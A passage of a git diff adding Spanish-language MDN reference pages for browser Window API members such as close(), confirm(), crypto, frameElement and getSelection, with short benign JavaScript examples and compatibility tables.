+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>33</td>
+   <td>{{CompatGeckoMobile("11.0")}} {{property_prefix("moz")}}<br>
+    23.0</td>
+   <td>10</td>
+   <td>33</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li>{{spec("http://www.w3.org/TR/animation-timing/#cancelAnimationFrame", "Timing control for script-based animations: cancelAnimationFrame", "WD")}}</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/es/web/api/window/close/index.html b/files/es/web/api/window/close/index.html
new file mode 100644
index 0000000000..e4a3c910ee
--- /dev/null
+++ b/files/es/web/api/window/close/index.html
@@ -0,0 +1,76 @@
+---
+title: Window.close()
+slug: Web/API/Window/close
+translation_of: Web/API/Window/close
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Cierra la ventana actual, o la ventana en la cual fue llamada.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval"><em>window</em>.close();
+</pre>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Cuando este método es llamado, la ventana referenciada es cerrada.</p>
+
+<p>Este método solo se permite ser llamado por ventanas que fueron abiertas por un script utilizando el método {{domxref("window.open()")}}. Si la ventana no fue abierta por un script, el siguiente error aparece en la consola de JavaScript: S<code>cripts</code><code> may not close windows that were not opened by script.</code></p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Closing_a_window_opened_with_window.open.28.29" name="Closing_a_window_opened_with_window.open.28.29">Cerrar una ventana abierta con window.open()</h3>
+
+<p>Este es un ejemplo que demuestra como utilizar este método para cerrar una ventana que fue abierta por un script llamando {{domxref("window.open()")}}.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+//Global var to store a reference to the opened window
+var openedWindow;
+
+function openWindow()
+{
+  openedWindow = window.open('moreinfo.htm');
+}
+
+function closeOpenedWindow()
+{
+  openedWindow.close();
+}
+&lt;/script&gt;
+</pre>
+
+<h3 id="Closing_the_current_window" name="Closing_the_current_window">Cerrando la ventana actual</h3>
+
+<h3 id="Closing_the_current_window" name="Closing_the_current_window"><span style="font-size: 14px; line-height: 1.5;">Cuando se llama al método del objeto window close() directamente, en vez de llamar a close() en una instancia de la ventana, el navegador cerrará la ventana que está en primer plano,  independientemente si el script fue creado en la ventana o no.</span><span style="font-size: 14px; line-height: 1.5;"> (Firefox 35.0.1: los scripts no pueden cerrar ventanas que ellos no han abierto)</span></h3>
+
+<pre>&lt;script type="text/javascript"&gt;
+function closeCurrentWindow()
+{
+  window.close();
+}
+&lt;/script&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-window-close', 'window.close()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Additional_Reference" name="Additional_Reference">Referencia adicional</h2>
+
+<p>{{Compat("api.Window.close")}}</p>
diff --git a/files/es/web/api/window/closed/index.html b/files/es/web/api/window/closed/index.html
new file mode 100644
index 0000000000..b5caf862f3
--- /dev/null
+++ b/files/es/web/api/window/closed/index.html
@@ -0,0 +1,65 @@
+---
+title: Window.closed
+slug: Web/API/Window/closed
+tags:
+  - API
+  - HTML DOM
+  - Propiedad
+  - Referencia
+  - Ventana
+translation_of: Web/API/Window/closed
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esta propiedad de solo lectura indica si la ventana referenciada está cerrada o no.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>isClosed</var> = <var>windowRef</var>.closed;
+</pre>
+
+<dl>
+ <dt><code>isClosed</code></dt>
+ <dd>Booleano. Valores posibles:
+ <ul>
+  <li><code>true</code>: La ventana ha sido cerrada.</li>
+  <li><code>false</code>: La ventana está abierta.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Cambiar_la_URL_de_una_ventana_desde_una_ventana_emergente">Cambiar la URL de una ventana desde una ventana emergente</h3>
+
+<p>El siguiente ejemplo demuestra cómo una ventana emergente puede cambiar la URL de la ventana que la abrió. Antes de intentar cambiar la URL, verifica que la ventana actual tiene referencia a la ventana que la abrió usando la propiedad <a href="/en-US/docs/DOM/window.opener">window.opener</a> y que esa ventana no está cerrada:</p>
+
+<pre class="brush:js">// Verifica que <em>opener</em> existe y no esté cerrado
+if (window.opener &amp;&amp; !window.opener.closed) {
+  window.opener.location.href = "http://www.mozilla.org";
+}</pre>
+
+<p>Nótese que las ventanas emergentes solo pueden acceder a la ventana que las abrió.</p>
+
+<h3 id="Actualizando_una_ventana_emergente_abierta_previamente">Actualizando una ventana emergente abierta previamente</h3>
+
+<p>En este ejemplo la función <code>refreshPopupWindow()</code> llama al método <code>reload</code> del objeto location de la ventana emergente para actualizar su información. Si la ventana emergente no ha sido abierta o el usuario la cerró una nueva ventana es abierta.</p>
+
+<pre class="brush:js">var popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow &amp;&amp; !popupWindow.closed) {
+    // popupWindow está abierta, actualízala
+    popupWindow.location.reload(true);
+  } else {
+    // Abre una nueva ventana emergente
+    popupWindow = window.open("popup.html","dataWindow");
+  }
+}
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<p>HTML5</p>
diff --git a/files/es/web/api/window/confirm/index.html b/files/es/web/api/window/confirm/index.html
new file mode 100644
index 0000000000..a09a6cdb1d
--- /dev/null
+++ b/files/es/web/api/window/confirm/index.html
@@ -0,0 +1,64 @@
+---
+title: Window.confirm()
+slug: Web/API/Window/confirm
+translation_of: Web/API/Window/confirm
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p>El método <code><strong>Window.confirm()</strong></code> muestra una ventana de diálogo con un mensaje opcional y dos botones, Aceptar y Cancelar.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre><em>result</em> = window.confirm(<em>message</em>);
+</pre>
+
+<ul>
+ <li><code>message</code> es la cadena que se muestra opcionalmente en el diálogo.</li>
+ <li><code>result</code> es un valor booleano indicando si se ha pulsado Aceptar o Cancelar (Aceptar devuelve true).</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre>if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+</pre>
+
+<p>Da como resultado:</p>
+
+<p><img alt="firefox confirm" src="https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png" style="height: 119px; width: 354px;"><br>
+  </p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.prompt and DOM:window.alert</span> Las cajas de diálogo son ventanas modales - ello impide al usuario continuar accediendo al resto del interfaz del programa hasta que la ventana modal haya sido cerrada. Por esta razón no se debería usar en exceso funciones que creen cajas de diálogo (o ventanas modales). No obstante, hay muy buenas razones para <a href="http://alistapart.com/article/neveruseawarning">evitar el uso de cajas de diálogo para confirmaciones</a>.</p>
+
+<p>Los usuarios de <a href="/en-US/Chrome" title="Chrome">Mozilla Chrome</a> users (e.g. Firefox extensions) deberían usar métodos de {{interface("nsIPromptService")}} en vez de cajas de diálogo.</p>
+
+<p>A partir de la versión {{CompatChrome(46.0)}} de Chrome este método es bloqueado dentro de un {{htmlelement("iframe")}} a no ser que el atributo sandbox tenga el valor <code>allow-modal</code>.</p>
+
+<p>{{gecko_minversion_inline("23.0")}} El argumento es opcional y no requerido por la especificación.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web application', '#dom-confirm', 'confirm()')}}</td>
+   <td>{{Spec2('HTML5 Web application')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.alert","alert")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+</ul>
diff --git a/files/es/web/api/window/crypto/index.html b/files/es/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..49756dfc08
--- /dev/null
+++ b/files/es/web/api/window/crypto/index.html
@@ -0,0 +1,88 @@
+---
+title: Window.crypto
+slug: Web/API/Window/crypto
+translation_of: Web/API/Window/crypto
+---
+<p>{{APIRef}}</p>
+
+<p>La propiedad de sólo lectura {{domxref("Window.crypto")}} devuelve el objeto <a href="/es/docs/Web/API/Crypto">Crypto</a> asociado a un objeto global. Este objeto permite a las páginas web acceder a ciertos servicios relacionados con criptografía.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>cryptoObj</em> = window.crypto || window.msCrypto; // para IE 11
+</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Sporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>15</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,helvetica,arial,sans-serif; font-size: 16px; line-height: 16px;">Característica</span></th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>El objeto Global {{domxref("Window")}}</li>
+</ul>
diff --git a/files/es/web/api/window/devicepixelratio/index.html b/files/es/web/api/window/devicepixelratio/index.html
new file mode 100644
index 0000000000..97db13d974
--- /dev/null
+++ b/files/es/web/api/window/devicepixelratio/index.html
@@ -0,0 +1,91 @@
+---
+title: Window.devicePixelRatio
+slug: Web/API/Window/devicePixelRatio
+translation_of: Web/API/Window/devicePixelRatio
+---
+<p>{{APIRef}}</p>
+
+<p>La propiedad de sólo-lectura <code>Window.devicePixelRatio</code> retorna la relación de tamaño (vertical) de un pixel físico en el dispositivo de visualización actual respecto del de un dispositivo de tamaño de pixel independiente (dips).</p>
+
+<p>No hay retrofunciones o eventos a escuchar cuando este valor cambia (por ejemplo, si usted arrastra la ventana entre displays con diferentes densidades de pixels).</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em><var>value</var></em> = window.devicePixelRatio;
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/@media/resolution">consultas de resolución de medio CSS</a></li>
+ <li>PPK hace alguna <a href="http://www.quirksmode.org/blog/archives/2012/06/devicepixelrati.html">iinvestigación en devicePixelRatio</a></li>
+</ul>
diff --git a/files/es/web/api/window/dialogarguments/index.html b/files/es/web/api/window/dialogarguments/index.html
new file mode 100644
index 0000000000..f3f23cb43e
--- /dev/null
+++ b/files/es/web/api/window/dialogarguments/index.html
@@ -0,0 +1,14 @@
+---
+title: Window.dialogArguments
+slug: Web/API/Window/dialogArguments
+translation_of: Web/API/Window/dialogArguments
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad <code>dialogArguments</code> retorna los parámetros que fueron pasados al método {{domxref("window.showModalDialog()")}}. Esto permite determinar qué parámetros fueron especificados cuando el diálogo modal fue creado.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>value</var> = window.dialogArguments;</pre>
diff --git a/files/es/web/api/window/document/index.html b/files/es/web/api/window/document/index.html
new file mode 100644
index 0000000000..d5acd251de
--- /dev/null
+++ b/files/es/web/api/window/document/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.document
+slug: Web/API/Window/document
+translation_of: Web/API/Window/document
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Retorna una referencia al documento contenido en la ventana.</p>
+
+<div class="note"><strong>Nota:</strong> {{Fx_minversion_inline(3)}} Firefox 3 altera la seguridad para los documentos entre ventanas, de modo que sólo el dominio desde el cual ha sido cargada una ventana puede acceder al documento. A pesar de que esto rompe el funcionamiento de algunos sitios existentes, es una modificación adoptada por Firefox 3 e Internet Explorer 7, que resulta en una mejora de seguridad.</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>doc</var> = window.document
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<ul>
+ <li><code>doc</code> es una referencia al objeto del <a href="/en-US/docs/DOM/document" title="DOM/document">document</a>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+   &lt;title&gt;Hola, Mundo!&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;script type="text/javascript"&gt;
+   var doc = window.document;
+   console.log(doc.title); // Hola, Mundo!
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/html/#the-window-object" title="http://www.whatwg.org/html/#the-window-object">HTML</a></li>
+</ul>
diff --git a/files/es/web/api/window/frameelement/index.html b/files/es/web/api/window/frameelement/index.html
new file mode 100644
index 0000000000..27f809265c
--- /dev/null
+++ b/files/es/web/api/window/frameelement/index.html
@@ -0,0 +1,106 @@
+---
+title: Window.frameElement
+slug: Web/API/Window/frameElement
+translation_of: Web/API/Window/frameElement
+---
+<div>{{ ApiRef }}</div>
+
+<p>Retorna el elemento (como es {{HTMLElement("iframe")}} ó {{HTMLElement("object")}}) en el cual la ventana está incrustada o <code>null</code> si el elemento es bien de nivel superior (top-level) o bien está inrustada en un documento con un origen de diferente; esto es, en situaciones de origen cruzado.</p>
+
+<h2 id="Sintaxes">Sintaxes</h2>
+
+<pre class="syntaxbox"><var>frameEl</var> = window.frameElement;
+</pre>
+
+<ul>
+ <li><code>frame El</code> es el elemento dentro del cual está empotrada la ventana. Si la ventana no está incrustada dentro de otro documento, o si el documento en el que está empotrada tiene un origen diferente (como procede de un dominio diferente), este valor será <code>null</code>.</li>
+</ul>
+
+<div class="note">
+<p>A pesar del nombre de esta propiedad, funciona para documentos empotrados en cualquier forma o método de incrustación, incluyendo {{HTMLElement("object")}}, {{HTMLElement("iframe")}}, or {{HTMLElement("embed")}}.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">var frameEl = window.frameElement;
+// Si estamos empotrados, cambia la URL de elemento contenedor to 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#dom-frameelement', 'Window.frameElement') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4?</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>5.5?</td>
+   <td>12.1?</td>
+   <td>4?</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.frames")}} retorna un objeto enumerable, listando los sub-frames directos de la ventana actual.</li>
+ <li>{{domxref("window.parent")}} retorna la ventana padre, la cual es la ventana que contiene el <code>frameElement</code> de la ventana hija.</li>
+</ul>
diff --git a/files/es/web/api/window/fullscreen/index.html b/files/es/web/api/window/fullscreen/index.html
new file mode 100644
index 0000000000..7662bc7888
--- /dev/null
+++ b/files/es/web/api/window/fullscreen/index.html
@@ -0,0 +1,43 @@
+---
+title: window.fullScreen
+slug: Web/API/Window/fullScreen
+tags:
+  - Referencia_DOM_de_Gecko
+  - páginas_a_traducir
+translation_of: Web/API/Window/fullScreen
+---
+<div>{{APIRef}}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Esta propiedad indica si la ventana se presenta en modo de pantalla comleta o no. Su funcionamiento es sólo fiable a partir de Gecko 1.9 (Firefox 3), ver Notas más abajo.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">var <var>isInFullScreen</var> = <var>windowRef</var>.fullScreen;
+</pre>
+
+<p><br>
+ Con privilegios chrome, el valor de esta propiedad se puede cambiar, de otra forma, es de sólo lectura. Ten en cuenta que si intentas cambiar el valor de esta propiedad sin tener privilegios chrome, no cambiará nada y la propiedad simplemente fallará. Esto se hace para evitar que los programas diseñados para Internet Explorer fallen.</p>
+
+<h3 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h3>
+
+<dl>
+ <dt><code>isInFullScreen</code></dt>
+ <dd>Un valor<em>binario</em> . Los valores posibles son:</dd>
+</dl>
+
+<ul>
+ <li><code>true</code>: (Cierto) la ventana esta en modo pantalla completa.</li>
+ <li><code>false</code>: (Falso)la ventana NO esta en modo pantalla completa.</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<p>DOM nivel 0. <code>window.fullScreen</code> no forma parte de ninguna especificación W3C.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>El funcionamiento de esta propiedad es fiable sólo en Mozilla 1.9 (Firefox 3) y posteriores. Mozilla 1.8 y versiones anteriores manejan esta propiedad pero el valor devuelto es siempre <code>false</code>, aún cuando la ventana está en modo pantalla completa ({{ Bug(127013) }}).</p>
diff --git a/files/es/web/api/window/getcomputedstyle/index.html b/files/es/web/api/window/getcomputedstyle/index.html
new file mode 100644
index 0000000000..3ce1aa1c0b
--- /dev/null
+++ b/files/es/web/api/window/getcomputedstyle/index.html
@@ -0,0 +1,26 @@
+---
+title: Window.getComputedStyle
+slug: Web/API/Window/getComputedStyle
+translation_of: Web/API/Window/getComputedStyle
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Devuelve el estilo computado del elemento. Los estilos computados representan los valores finales <a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/cascade.html#computed-value">computed (en)</a>  de las propiedades CSS del elemento. </p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval">var <em>style</em> = window.getComputedStyle(<em>element</em>, <em>pseudoElt</em>);
+</pre>
+<ul>
+ <li><code>element</code> es un <a href="/es/DOM/element" title="en/DOM/element">element</a>.</li>
+ <li><code>pseudoElt</code> es una cadena que especifica el pseudo elemento a tratar. Debería ser una cadena vacia para la mayoría de los elementos element.</li>
+ <li><code>style</code> es un objeto del tipo <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSview-getComputedStyle"><code>CSSStyleDeclaration</code></a> .</li>
+</ul>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre class="eval">var element = document.getElementById(“elemId”);
+var <em>style</em> = document.defaultView.getComputedStyle(<em>element</em>, <em>pseudoElt</em>);
+</pre>
+<h3 id="Description" name="Description">Descripción</h3>
+<p>El objeto devuelto es del mismo tipo que el objeto devuelto por la propiedad <a href="/es/DOM/element.style" title="es/DOM/element.style">style</a> del elemento, sin embargo ambos objetos tienen un propósito distinto. El objeto devuelto por <code>getComputedStyle</code> es de sólo lectura y puede usarse para inspeccionar el estilo del elemento (incluyendo los estilos de una etiqueta &lt;style&gt; o una hoja de estlo).  El objeto <code>elt.style</code> debería usarse para establecerel estilo de un elemento específico.</p>
+<p>El primer argumento debe ser un Element, no un nodo (como en #texto Node).</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSview-getComputedStyle">DOM Level 2 Style: getComputedStyle</a></p>
+<p>{{ languages( { "ja": "ja/DOM/window.getComputedStyle" } ) }}</p>
diff --git a/files/es/web/api/window/getselection/index.html b/files/es/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..4e08399ad5
--- /dev/null
+++ b/files/es/web/api/window/getselection/index.html
@@ -0,0 +1,53 @@
+---
+title: window.getSelection
+slug: Web/API/Window/getSelection
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Window/getSelection
+---
+<div>{{ ApiRef() }}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve un objeto de selección representando el rango del texto seleccionado por el usuario. <span class="comment">NB. this is nothing to do with the DOM selection list object! What the heck is 'selection list object'? -Nickolay</span></p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>selection</em> =<em>window</em>.getSelection() ;
+</pre>
+
+<ul>
+ <li><code>selection</code> es un objeto de <a href="/es/docs/Web/API/Selection">selección</a>.</li>
+</ul>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">function foo() {
+   var selObj = window.getSelection();
+   alert(selObj);
+   var selRange = selObj.getRangeAt(0);
+   // ... Hacer las cosas con el rango ...
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>En JavaScript, cuando un objeto de selección es pasado a una función que espera una cadena de caracteres como parámetro (como {{ Domxref("window.alert") }} o {{ Domxref("document.write") }}), una representación de texto, del objeto de selección (e.j. el texto seleccionado) es pasado en vez del objeto en sí. Esto hace al objeto de selección parecer una cadena de caracteres (texto), cuando realmente es un objeto con sus propios métodos y propiedades. Específicamente, el valor de retorno de llamar al método <code><a href="es/DOM/Selection/toString">toString()</a></code> del objeto de selección es lo que realmente se pasa como parámetro a la función.</p>
+
+<p>En el ejemplo de arriba, <code>selObj</code> es automaticamente "convertido" cuando pasó a <a href="es/DOM/window.alert">window.alert</a>. Sin embargo, para usar una propiedad <a href="es/JS/String">String</a> de JavaScript o un método como <code><a href="es/JS/String.prototype.length">length</a></code> o <code><a href="es/JS/String.prototype.substr">substr</a></code>, debe llamar manualmente al método <code>toString</code>. <span class="comment">I'm treading carefully with the word "convert" here because it could be misinterpreted as a permanent convert - Maian</span></p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p>DOM Nivel 0. No es parte de ninguna especificación.</p>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p><a href="es/docs/Web/API/Selection">Selection</a>, <a href="es/docs/Web/API/Range">Range</a></p>
+
+
+
+
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/window.getSelection", "fr": "fr/DOM/window.getSelection", "it": "it/DOM/window.getSelection", "ja": "ja/DOM/window.getSelection", "pl": "pl/DOM/window.getSelection" } ) }}</p>
diff --git a/files/es/web/api/window/hashchange_event/index.html b/files/es/web/api/window/hashchange_event/index.html
new file mode 100644
index 0000000000..e0a5be4bbc
--- /dev/null
+++ b/files/es/web/api/window/hashchange_event/index.html
@@ -0,0 +1,194 @@
+---
+title: hashchange
+slug: Web/API/Window/hashchange_event
+tags:
+  - Referencia
+  - URL
+  - Web
+translation_of: Web/API/Window/hashchange_event
+---
+<p>El evento <code>hashchange</code> es ejecutado cuando el fragmento identificador de la URL ha cambiado (la parte de la URL que continúa despues del simbolo #, incluyendo el símbolo #).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Burbujas</td>
+   <td>Si</td>
+  </tr>
+  <tr>
+   <td>Cancelable</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td>Objetivo</td>
+   <td>{{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("HashChangeEvent")}}</td>
+  </tr>
+  <tr>
+   <td>Acción predeterminada</td>
+   <td>Ninguna</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The browsing context (<code>window</code>).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
